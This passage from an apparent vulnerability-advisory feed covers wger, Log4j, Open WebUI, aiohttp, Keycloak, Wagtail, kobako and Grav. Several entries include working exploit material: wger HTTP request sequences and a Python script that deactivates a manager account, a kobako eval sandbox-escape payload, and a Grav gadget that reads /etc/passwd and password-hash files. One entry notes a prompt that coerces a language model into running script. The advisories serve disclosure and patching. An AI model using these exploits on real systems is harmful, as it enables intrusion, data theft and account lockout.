`wger/gym/views/contract.py`, `wger/gym/views/user_config.py` The same flawed comparison pattern appears across at least five views: ```python # VULNERABLE - applied in admin_notes_list, documents_list, contracts_list, # user_config, and gym_permissions_user_edit if request.user.userprofile.gym != user.userprofile.gym: return HttpResponseForbidden() # After the guard (admin notes example): notes = AdminUserNote.objects.filter(member=member) # only filtered by member_id ``` When both `request.user.userprofile.gym` and `user.userprofile.gym` are `None`, Python evaluates `None != None` as `False`, and `HttpResponseForbidden` is never reached. The subsequent queryset applies only the attacker-supplied `member` (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body. **Affected endpoints**: - `GET /en/gym/notes/list/user/ ` -> admin notes list view - `GET /en/gym/documents/list/user/ ` -> documents list view - `GET /en/gym/contract/list/ ` -> contracts list view - `GET /en/gym/user/ /config` -> user config view - `GET /en/gym/user/ /permissions` -> permission edit view **Suggested patch**: ```diff --- a/wger/gym/views/user.py +++ b/wger/gym/views/user.py - if request.user.userprofile.gym != user.userprofile.gym: - return HttpResponseForbidden() + trainer_gym_id = request.user.userprofile.gym_id + member_gym_id = user.userprofile.gym_id + + if trainer_gym_id is None or trainer_gym_id != member_gym_id: + return HttpResponseForbidden() # Also tighten the queryset with a gym-scoped secondary filter: - notes = AdminUserNote.objects.filter(member=member) + notes = AdminUserNote.objects.filter( + member=member, + member__userprofile__gym_id=request.user.userprofile.gym_id, + ) ``` Extract a shared helper `assert_same_gym(trainer, member)` and call it consistently from all five affected views to eliminate future drift. ### PoC Tested on `wger/server:latest` Docker image. Test users: `trainer1` (`gym.gym_trainer` + `gym.add_adminusernote` permissions, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`, has a private admin note pre-seeded). **Step 1** - Authenticate as trainer with required perms and gym=None: ``` POST /en/user/login HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED] -> 302 Found; Set-Cookie: sessionid=[trainer1_session] ``` **Step 2** - Read victim's private admin notes: ``` GET /en/gym/notes/list/user/2 HTTP/1.1 Host: target Cookie: sessionid=[trainer1_session] -> 200 OK body contains all private admin notes for user 2: "PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K" "PHASE4_SECRET_SALARY_100K" ``` **Step 3** - Read victim's documents and contracts (same pattern): ``` GET /en/gym/documents/list/user/2 GET /en/gym/contract/list/2 -> 200 OK for each; all records disclosed ``` **Step 4** (optional) - Mass enumeration across all gym=None users: ``` Iterate user PKs 1..N: GET /en/gym/notes/list/user/{uid} -> 200 = gym=None victim (notes leaked) -> 403 = gym-assigned user (check works correctly when gym values differ) ``` **RBAC Disproof Protocol**: - Scenario A (admin, gym=1 -> member gym=1) -> HTTP 200 (expected - same-gym read is a documented feature) - Scenario B (trainer1, gym=None -> alice gym=None) -> **HTTP 200 with PII in body** (expected HTTP 403) - Scenario C (admin, gym=1 -> alice gym=None) -> HTTP 403 (expected - guard works when gyms differ; confirms bypass is `None`-specific) Reproducibility: 2/2 runs after clean-baseline database reset. ### Impact An authenticated trainer with `gym.gym_trainer` + `gym.add_adminusernote` permissions and `userprofile.gym=None` can: 1. Enumerate and read all private admin notes for every other `gym=None` user (notes may contain salary data, medical notes, disciplinary records). 2. Download all uploaded documents attached to those users (contracts, ID scans, medical forms). 3. Read all gym contracts (financial terms, subscription details). 4. Read user configuration details. 5. Via the permissions endpoint, potentially **modify victim permissions** (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable). **Affected deployments**: every wger instance where `gym.gym_trainer` + `gym.add_adminusernote` are delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected. **Severity**: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable). This is structurally the same bug class as the sibling findings affecting `trainer_login` and `reset_user_password` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - warrants a shared `same_gym()` helper applied across all five views. Affected package ranges reported by GitHub: wger: <= 2.1 Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### wger: Trainer Privilege Escalation - Improper Privilege Management https://kevwire.com/record/CVE-2026-46434 wger: Trainer Privilege Escalation - Improper Privilege Management (Oct 7, 2026). A user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. `UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with: CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-x249-cx55-2h87). Sources: GitHub-reviewed advisory GHSA-x249-cx55-2h87: https://github.com/advisories/GHSA-x249-cx55-2h87 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Summary A user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. ### Details `UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with: ```python permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer') ``` `WgerMultiplePermissionRequiredMixin` (file: `wger/utils/generic_views.py`, line 48) treats this tuple as an OR check -- any single permission is sufficient: ```python class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin): def has_permission(self): for permission in self.get_permission_required(): if self.request.user.has_perm(permission): return True # /deactivate ``` The manager's account is immediately set to `is_active = False`. The manager can no longer log in. #### Proof of Concept Script ```python #!/usr/bin/env python3 """ PoC: Trainer -> Manager Privilege Escalation (Account Deactivation) Target: wger Workout Manager Severity: HIGH - CVSS 6.5 CWE-269: Improper Privilege Management Usage: python3 poc.py http://localhost:8000 """ import requests import sys import re if len(sys.argv) ") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1) BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2" MANAGER_USER = "gym_manager_poc" MANAGER_PASS = "Manager!Poc!2025" TRAINER_USER = "evil_trainer_poc" TRAINER_PASS = "Trainer!Poc!2025" BANNER = """ ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== """ print(BANNER) # ---- Helper ---- def api_login(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.status_code == 200: return r.json().get("token") return None def api_headers(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"} # ---- Setup via Django ORM (must run inside container) ---- import os, django os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main' sys.path.insert(0, '/home/wger/src') django.setup() from django.contrib.auth.models import User, Group from wger.gym.models import Gym # Ensure permission groups exist for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']: Group.objects.get_or_create(name=name) # Create gym gym, _ = Gym.objects.get_or_create(name="PoC Test Gym") print(f"[*] Gym: {gym.name} (id={gym.id})") # Create manager (the VICTIM) manager, created = User.objects.get_or_create( username=MANAGER_USER, defaults={"is_active": True} ) if created: manager.set_password(MANAGER_PASS) manager.save() manager.userprofile.gym = gym manager.userprofile.save() manager.groups.clear() manager.groups.add(Group.objects.get(name='gym_manager')) manager.is_active = True manager.save() print(f"[*] Manager (victim): {manager.username} (id={manager.id})") print(f" Groups: {[g.name for g in manager.groups.all()]}") print(f" is_active: {manager.is_active}") # Create trainer (the ATTACKER) trainer, created = User.objects.get_or_create( username=TRAINER_USER, defaults={"is_active": True} ) if created: trainer.set_password(TRAINER_PASS) trainer.save() trainer.userprofile.gym = gym trainer.userprofile.save() trainer.groups.clear() trainer.groups.add(Group.objects.get(name='gym_trainer')) print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})") print(f" Groups: {[g.name for g in trainer.groups.all()]}") # ---- 1. Verify manager is active BEFORE attack ---- manager.refresh_from_db() print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}") assert manager.is_active, "Manager should be active before test" # ---- 2. ATTACK: Trainer deactivates manager ---- print(f"\n{'='*65}") print(f" ATTACK: Trainer deactivating gym manager account") print(f"{'='*65}") from django.test import Client c = Client() c.force_login(trainer) resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True) print(f"\n GET /en/user/{manager.id}/deactivate") print(f" (Logged in as: {TRAINER_USER} - gym_trainer only)") print(f" Response: HTTP {resp.status_code}") # ---- 3. VERIFY ---- print(f"\n{'='*65}") print(f" VERIFICATION") print(f"{'='*65}") manager.refresh_from_db() print(f"\n Manager is_active AFTER attack: {manager.is_active}") if not manager.is_active: print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gym_trainer successfully deactivated a gym_manager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+ """) manager.is_active = True manager.save() print(" [+] Cleanup: Manager re-activated") else: print("\n Manager is still active - NOT vulnerable") ``` #### Proof of Concept Output ``` ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== [*] Gym: PoC Test Gym (id=2) [*] Manager (victim): gym_manager_poc (id=4) Groups: ['gym_manager'] is_active: True [*] Trainer (attacker): evil_trainer_poc (id=5) Groups: ['gym_trainer'] [*] Manager is_active BEFORE attack: True ================================================================= ATTACK: Trainer deactivating gym manager account ================================================================= Trainer login: HTTP 200 GET http://localhost/en/u Affected package ranges reported by GitHub: wger: <= 2.1 Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Apache Log4j 1 to Log4j 2 bridge: silent log event loss in Log4j1XmlLayout due to unescaped XML 1.0 forbidden characters https://kevwire.com/record/CVE-2026-34479 Apache Log4j 1 to Log4j 2 bridge: silent log event loss in Log4j1XmlLayout due to unescaped XML 1.0 forbidden characters (Apr 10, 2026). The `Log4j1XmlLayout` from the Apache Log4j 1-to-Log4j 2 bridge fails to escape characters forbidden by the XML 1.0 standard, producing malformed XML output. Conforming XML parsers are required to reject documents containing such characters with a fatal error, which may cause downstream log processing systems to drop or fail to index affected records. Two groups of users are affected: CVSS 6.9 (version 4.0; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-h383-gmxw-35v2). Sources: GitHub-reviewed advisory GHSA-h383-gmxw-35v2: https://github.com/advisories/GHSA-h383-gmxw-35v2 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc The `Log4j1XmlLayout` from the Apache Log4j 1-to-Log4j 2 bridge fails to escape characters forbidden by the XML 1.0 standard, producing malformed XML output. Conforming XML parsers are required to reject documents containing such characters with a fatal error, which may cause downstream log processing systems to drop or fail to index affected records. Two groups of users are affected: * Those using `Log4j1XmlLayout` directly in a Log4j Core 2 configuration file. * Those using the Log4j 1 configuration compatibility layer with `org.apache.log4j.xml.XMLLayout` specified as the layout class. Users are advised to upgrade to Apache Log4j 1-to-Log4j 2 bridge version `2.25.4`, which corrects this issue. > [!NOTE] > The Apache Log4j 1-to-Log4j 2 bridge is deprecated and will not be present in Log4j 3. Users are encouraged to consult the > [Log4j 1 to Log4j 2 migration guide](https://logging.apache.org/log4j/2.x/migrate-from-log4j1.html), and specifically the section on eliminating reliance on the bridge. Affected package ranges reported by GitHub: org.apache.logging.log4j:log4j-core: >= 2.7, < 2.25.4 org.apache.logging.log4j:log4j-core: >= 3.0.0-beta1, <= 3.0.0-beta2 Action: GitHub lists first patched versions: org.apache.logging.log4j:log4j-core: 2.25.4. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Open WebUI has vulnerable dependency on starlette via fastapi https://kevwire.com/record/GHSA-w466-2wfc-8g58 Open WebUI has vulnerable dependency on starlette via fastapi (Mar 20, 2025). In version 0.3.32 of open-webui, the application uses a vulnerable version of the starlette package through its dependency on fastapi. The starlette package versions <=0.49 are susceptible to uncontrolled resource consumption, which can be exploited to cause a denial of service through memory exhaustion. This issue is addressed in fastapi version 0.115.3. CVSS 7.5 (version 3.0; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-w466-2wfc-8g58). Sources: GitHub-reviewed advisory GHSA-w466-2wfc-8g58: https://github.com/advisories/GHSA-w466-2wfc-8g58 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc In version 0.3.32 of open-webui, the application uses a vulnerable version of the starlette package through its dependency on fastapi. The starlette package versions <=0.49 are susceptible to uncontrolled resource consumption, which can be exploited to cause a denial of service through memory exhaustion. This issue is addressed in fastapi version 0.115.3. Affected package ranges reported by GitHub: open-webui: < 0.5.8 Action: GitHub lists first patched versions: open-webui: 0.5.8. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Open WebUI Stored Cross-Site Scripting Vulnerability https://kevwire.com/record/CVE-2024-6706 Open WebUI Stored Cross-Site Scripting Vulnerability (Aug 8, 2024). Attackers can craft a malicious prompt that coerces the language model into executing arbitrary JavaScript in the context of the web page. CVSS 5.1 (version 4.0; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-5jp3-wp5v-5363). Sources: GitHub-reviewed advisory GHSA-5jp3-wp5v-5363: https://github.com/advisories/GHSA-5jp3-wp5v-5363 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc Attackers can craft a malicious prompt that coerces the language model into executing arbitrary JavaScript in the context of the web page. Affected package ranges reported by GitHub: open-webui: < 0.3.14 Action: GitHub lists first patched versions: open-webui: 0.3.14. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### open-webui Insecure Direct Object Reference (IDOR) vulnerability https://kevwire.com/record/CVE-2024-7041 open-webui Insecure Direct Object Reference (IDOR) vulnerability (Oct 9, 2024). An Insecure Direct Object Reference (IDOR) vulnerability exists in open-webui/open-webui version v0.3.8. The vulnerability occurs in the API endpoint `http://0.0.0.0:3000/api/v1/memories/{id}/update`, where the decentralization design is flawed, allowing attackers to edit other users' memories without proper authorization. CVSS 5.7 (version 4.0; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-xcvc-5hgv-phqg). Sources: GitHub-reviewed advisory GHSA-xcvc-5hgv-phqg: https://github.com/advisories/GHSA-xcvc-5hgv-phqg GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc An Insecure Direct Object Reference (IDOR) vulnerability exists in open-webui/open-webui version v0.3.8. The vulnerability occurs in the API endpoint `http://0.0.0.0:3000/api/v1/memories/{id}/update`, where the decentralization design is flawed, allowing attackers to edit other users' memories without proper authorization. Affected package ranges reported by GitHub: open-webui: < 0.6.3 Action: GitHub lists first patched versions: open-webui: 0.6.3. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### AIOHTTP: Secure attribute not enforced for shared cookie https://kevwire.com/record/CVE-2026-111063 AIOHTTP: Secure attribute not enforced for shared cookie (Oct 19, 2026). The Secure attribute was not being enforced for the shared cookie. It may be possible to send a shared cookie marked Secure through an unencrypted request. CVSS 6.3 (version 4.0; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-494j-54xm-rwp3). Sources: GitHub-reviewed advisory GHSA-494j-54xm-rwp3: https://github.com/advisories/GHSA-494j-54xm-rwp3 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Summary The Secure attribute was not being enforced for the shared cookie. ### Impact It may be possible to send a shared cookie marked Secure through an unencrypted request. Affected package ranges reported by GitHub: aiohttp: <= 3.14.3 Action: GitHub lists first patched versions: aiohttp: 3.14.4. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Keycloak: Unauthorized access via improper validation of encrypted SAML assertions https://kevwire.com/record/CVE-2026-2092 Keycloak: Unauthorized access via improper validation of encrypted SAML assertions (Jul 2, 2026). Keycloak's SAML broker endpoint does not properly validate encrypted assertions when the overall SAML response is not signed. An attacker with a valid signed SAML assertion can exploit this by crafting a malicious SAML response, injecting an encrypted assertion for an arbitrary principal, leading to unauthorized access and potential information disclosure. CVSS 7.7 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-794g-x443-36f7). Sources: GitHub-reviewed advisory GHSA-794g-x443-36f7: https://github.com/advisories/GHSA-794g-x443-36f7 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc Keycloak's SAML broker endpoint does not properly validate encrypted assertions when the overall SAML response is not signed. An attacker with a valid signed SAML assertion can exploit this by crafting a malicious SAML response, injecting an encrypted assertion for an arbitrary principal, leading to unauthorized access and potential information disclosure. Affected package ranges reported by GitHub: org.keycloak:keycloak-services: <= 26.2.5 org.keycloak:keycloak-services: >= 26.3.0, <= 26.4.7 org.keycloak:keycloak-services: >= 26.5.0, < 26.5.5 Action: GitHub lists first patched versions: org.keycloak:keycloak-services: 26.5.5. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Wagtail: Improper restriction handling on Page translation API endpoint https://kevwire.com/record/GHSA-jm5p-837g-rv8g Wagtail: Improper restriction handling on Page translation API endpoint (Aug 20, 2026). * Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html) * Email us at [security@wagtail.org](mailto:security@wagtail.org) (view our [security policy](https://github.com/wagtail/wagtail/security/policy) for more information). CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-jm5p-837g-rv8g). Sources: GitHub-reviewed advisory GHSA-jm5p-837g-rv8g: https://github.com/advisories/GHSA-jm5p-837g-rv8g GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Impact A CMS user with the "submit translations" permission, could use the Admin API's "copy for translation" endpoint to copy an existing page that they do not have edit access to, allowing them to view its contents. ### Patches Patched versions have been released as Wagtail 7.0.9, 7.3.4, 7.4.3 and 8.0rc2. ### Workarounds N/A ### Acknowledgements Many thanks to tinyb0y for reporting this issue. ### For more information If you have any questions or comments about this advisory: * Visit Wagtail's [support channels](https://docs.wagtail.org/en/stable/support.html) * Email us at [security@wagtail.org](mailto:security@wagtail.org) (view our [security policy](https://github.com/wagtail/wagtail/security/policy) for more information). Affected package ranges reported by GitHub: wagtail: < 7.0.9 wagtail: = 8.0rc1 wagtail: >= 7.1rc1, < 7.3.4 wagtail: >= 7.4rc1, < 7.4.3 Action: GitHub lists first patched versions: wagtail: 7.0.9; wagtail: 8.0rc2; wagtail: 7.3.4; wagtail: 7.4.3. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### kobako Sandbox Escape: guest eval reaches host RCE via method_missing → public_send (any bound Service) https://kevwire.com/record/CVE-2026-55107 kobako Sandbox Escape: guest eval reaches host RCE via method_missing → public_send (any bound Service) (Aug 18, 2026). ```ruby target.public_send(method.to_sym, *args, **kwargs, &block) ``` `public_send` can invoke any public method, including Ruby's ambient reflection surface. A guest pivots through the public `send` into otherwise private Kernel methods: a dispatch request with `method = "send"` and `args = [:eval, " "]` evaluates to `target.send(:eval, " ")`, running attacker-controlled Ruby in the host. Any bound Service object is sufficient — no Service-specific behavior is required. CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-7pwq-q9jf-539h). Sources: GitHub-reviewed advisory GHSA-7pwq-q9jf-539h: https://github.com/advisories/GHSA-7pwq-q9jf-539h GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Summary A guest mruby script running inside the Kobako sandbox can execute arbitrary Ruby in the host process, fully escaping the sandbox. ### Details A host embeds bound "Service" objects that guest scripts call across the wasm boundary through the transport dispatcher. The dispatcher passed the guest-supplied method name straight to `Object#public_send` on the bound object, with no restriction to the object's own methods: ```ruby target.public_send(method.to_sym, *args, **kwargs, &block) ``` `public_send` can invoke any public method, including Ruby's ambient reflection surface. A guest pivots through the public `send` into otherwise private Kernel methods: a dispatch request with `method = "send"` and `args = [:eval, " "]` evaluates to `target.send(:eval, " ")`, running attacker-controlled Ruby in the host. Any bound Service object is sufficient — no Service-specific behavior is required. ### Proof of Concept A guest call equivalent to: ``` Service.send(:eval, " ") ``` executes in the host process and can read or modify host state, spawn processes, and so on. ### Impact Complete sandbox escape leading to remote code execution in the host process, defeating the gem's central guarantee of isolating untrusted mruby scripts. Any deployment that runs untrusted or attacker-influenced scripts is affected. All released versions (0.1.0 through 0.9.0) are vulnerable; the dispatcher carried the same unguarded `public_send` sink under three successive names (`registry` → `rpc` → `transport`). ### Patches Fixed in 0.9.1. The dispatcher now rejects any method whose resolved owner is a core/meta module (`BasicObject`, `Kernel`, `Object`, `Module`, `Class`), so only methods the bound object itself defines — or dynamically handles via `method_missing` — remain reachable. The ambient reflection methods (`send`, `__send__`, `public_send`, `instance_eval`, `instance_exec`, `method`, `instance_variable_get`, …) are all owned by those modules and are blocked. ### Workarounds None within the affected versions. Until you can upgrade, do not bind any host Service object into a sandbox that runs untrusted scripts. Upgrade to 0.9.1. ### References - GHSA-7pwq-q9jf-539h - Fix commit: 64f8470 ### Credits Reported and fixed by Ahmed Al Hafoudh. Affected package ranges reported by GitHub: kobako: >= 0.1.0, <= 0.9.0 Action: GitHub lists first patched versions: kobako: 0.9.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Grav: Incomplete callable validation in blueprint dynamic fields allows arbitrary static method invocation and file disclosure https://kevwire.com/record/CVE-2026-69088 Grav: Incomplete callable validation in blueprint dynamic fields allows arbitrary static method invocation and file disclosure (Sep 17, 2026). `Utils::isDangerousFunction()` (`system/src/Grav/Common/Utils.php`) classifies any string containing a colon (`str_contains($name, ":")`) or a namespace backslash as dangerous — so a qualified `Class::method` string would be rejected *if* it ever reached this function. The `!str_contains($function, '::')` condition in `isSafeDynamicCall()` ensures it never does, which is what leaves qualified static calls entirely unscreened. (Whether the exemption was intended to admit legitimate `Class::method` option-providers is a plausible reading of the surrounding code, but the intent is not established here.) This is an incomplete fix of two recently published advisories — one addressing page editors executing hidden callables via form-field settings, the other extending the same guard to Flex directories. The guard those fixes introduced never covered qualified static calls. Grav's own permission model separates page-content code execution into a distinct, higher privilege (`admin.pages_twig`) from plain page editing (`admin.pages`), so invoking arbitrary methods from an `admin.pages`-authored page is a genuine trust-boundary bypass, not editor capability by design. CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-7pgq-cr25-xvc8). Sources: GitHub-reviewed advisory GHSA-7pgq-cr25-xvc8: https://github.com/advisories/GHSA-7pgq-cr25-xvc8 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ### Summary Grav CMS's blueprint dynamic-field callable guard can be bypassed with a fully-qualified `Class::method` string, letting an account with only page-editing rights (`admin.pages`, not super-admin) plant a directive in a page's form-field frontmatter that invokes an arbitrary public static PHP method with attacker-controlled arguments. Using built-in gadget methods this yields, at minimum, arbitrary reading of any server-readable file (disclosed to anonymous visitors of the crafted page) and arbitrary creation/copying of files and directories under the web-server account. ### Details `Blueprint::isSafeDynamicCall()` (`system/src/Grav/Common/Data/Blueprint.php`, method around line 488) is meant to block dangerous callables named in a blueprint's dynamic-field directives (`data-*@`). It only consults its dangerous-name denylist when the callable string does **not** contain `::`: ```php if (is_string($function) && !str_contains($function, '::') && Utils::isDangerousFunction($function)) { return false; } ``` Any callable string containing `::` — i.e. every `Class::method` static call — skips the check entirely and is passed to `call_user_func_array()` at `Blueprint::dynamicData()` (`Blueprint.php`, around line 461) and `FlexDirectory::dynamicDataField()` (`system/src/Grav/Framework/Flex/FlexDirectory.php`, around line 937). There is no allowlist restricting which classes or methods may be invoked this way; only the call's *arguments* are (separately) scanned for smuggled dangerous callables, never the target itself. `Utils::isDangerousFunction()` (`system/src/Grav/Common/Utils.php`) classifies any string containing a colon (`str_contains($name, ":")`) or a namespace backslash as dangerous — so a qualified `Class::method` string would be rejected *if* it ever reached this function. The `!str_contains($function, '::')` condition in `isSafeDynamicCall()` ensures it never does, which is what leaves qualified static calls entirely unscreened. (Whether the exemption was intended to admit legitimate `Class::method` option-providers is a plausible reading of the surrounding code, but the intent is not established here.) This is an incomplete fix of two recently published advisories — one addressing page editors executing hidden callables via form-field settings, the other extending the same guard to Flex directories. The guard those fixes introduced never covered qualified static calls. Grav's own permission model separates page-content code execution into a distinct, higher privilege (`admin.pages_twig`) from plain page editing (`admin.pages`), so invoking arbitrary methods from an `admin.pages`-authored page is a genuine trust-boundary bypass, not editor capability by design. ### PoC Tested on Grav `develop` at commit `db8c1fc` (which self-reports version 2.0.11) with the admin and form plugins, using an account granted only `admin.login` + `admin.pages` (page editor, not super-admin). The same guard is present in every current release from 2.0.7 through 2.0.10. Base URL shown as `https://grav.example`. **A. Arbitrary file read (confidentiality)** 1. Log in to `/admin` as the page-editor account (GET `/admin` for the login nonce, then POST `task=login`). 2. Save a page via the standard admin endpoint, `POST /admin/pages/ ` with the session cookie, the admin nonce, and `data[frontmatter]` containing a form field with a `download` gadget directive: ```yaml forms: x: fields: y: type: text data-opts@: - 'Grav\Common\Utils::download' - '/etc/passwd' - false - 0 - 1024 - mime: 'text/plain' ``` The server returns `HTTP 200` and accepts the save — the `data-opts@` directive is not rejected. 3. As an unauthenticated visitor (no cookies), request the saved page, e.g. `GET / ` (use a fresh query string to avoid a cached copy; immediately after saving, a first request may `404` while the flat-file page index catches up — retry moments later). The response is `HTTP 200` with the raw contents of `/etc/passwd` in the body (`root:x:0:0:...`). Pointing the path at `user/accounts/ .yaml` instead returns that account file, including its `hashed_password:` bcrypt line — i.e. an anonymous visitor obtains a stored administrator's password hash. **B. Arbitrary file/directory write (integrity) — verified** Using the same mechanism with `Grav\Common\Filesystem\Folder::copy` (a public static method taking source and destination paths), a page editor caused the server to copy an existing page directory to an attacker-chosen new path under `user/pages/`; the newly created page then rendered its (attacker-controlled) content at the new route over plain HTTP. This demonstrates attacker-controlled creation of files/directories anywhere the web-server account can write. `Folder::move` and `Folder::delete` are equally reachable (their destructive nature was not exercised). ### Impact A page editor (an `admin.pages`-only account, **not** super-admin) can, through a page they author: - **Read any server-readable file**, disclosed to any anonymous, unauthenticated visitor of the crafted page — including `user/accounts/*.yaml`, which stores account metadata and bcrypt password hashes. An attacker may attempt offline cracking of a disclosed hash; recovery of a weak or reused administrator password could lead to full admin-panel compromise. Other secrets on disk (site/plugin config, environment files) are equally exposed. - **Create or overwrite files and directories** under the web-server account (demonstrated via `Folder::copy`), with `Folder::move`/`Folder::delete` additionally reachable for destructive tampering. Because the guard permits *any* public static method, the reachable impact is bounded only by the gadget surface of the loaded codebase, not by this report's demonstrated cases. Affected package ranges reported by GitHub: getgrav/grav: >= 2.0.7, <= 2.0.10 Action: GitHub lists first patched versions: getgrav/grav: 2.0.11. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection https://kevwire.com/record/CVE-2026-72701 Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection (Sep 17, 2026). `Grav\Common\Utils::verifyNonce()`, the core function Grav and its plugins use to validate CSRF nonces, compares the submitted nonce to the expected value with PHP's `===` operator instead of `hash_equals()`. `===` on strings short circuits at the first differing byte, so the comparison time leaks how many leading bytes of a guess are correct. This is CWE-208, Observable Timing Discrepancy. The codebase already knows to avoid this pattern. `hash_equals()` is used for the equivalent purpose in four other places I found: `system/src/Grav/Common/Session.php`, `system/src/Grav/Framework/Cache/Adapter/FileCache.php`, `system/src/Grav/Common/Scheduler/Scheduler.php` (the webhook token check), and `system/src/Grav/Common/Scheduler/JobQueue.php`. `Utils::verifyNonce()` is the one place I found that still uses a plain equality check for a secret comparison. CVSS 3.7 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-38p6-h87p-r4cg). Sources: GitHub-reviewed advisory GHSA-38p6-h87p-r4cg: https://github.com/advisories/GHSA-38p6-h87p-r4cg GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ## Summary `Grav\Common\Utils::verifyNonce()`, the core function Grav and its plugins use to validate CSRF nonces, compares the submitted nonce to the expected value with PHP's `===` operator instead of `hash_equals()`. `===` on strings short circuits at the first differing byte, so the comparison time leaks how many leading bytes of a guess are correct. This is CWE-208, Observable Timing Discrepancy. The codebase already knows to avoid this pattern. `hash_equals()` is used for the equivalent purpose in four other places I found: `system/src/Grav/Common/Session.php`, `system/src/Grav/Framework/Cache/Adapter/FileCache.php`, `system/src/Grav/Common/Scheduler/Scheduler.php` (the webhook token check), and `system/src/Grav/Common/Scheduler/JobQueue.php`. `Utils::verifyNonce()` is the one place I found that still uses a plain equality check for a secret comparison. ## Affected product and version Product: Grav CMS, getgrav/grav Confirmed present in: 2.0.15, commit 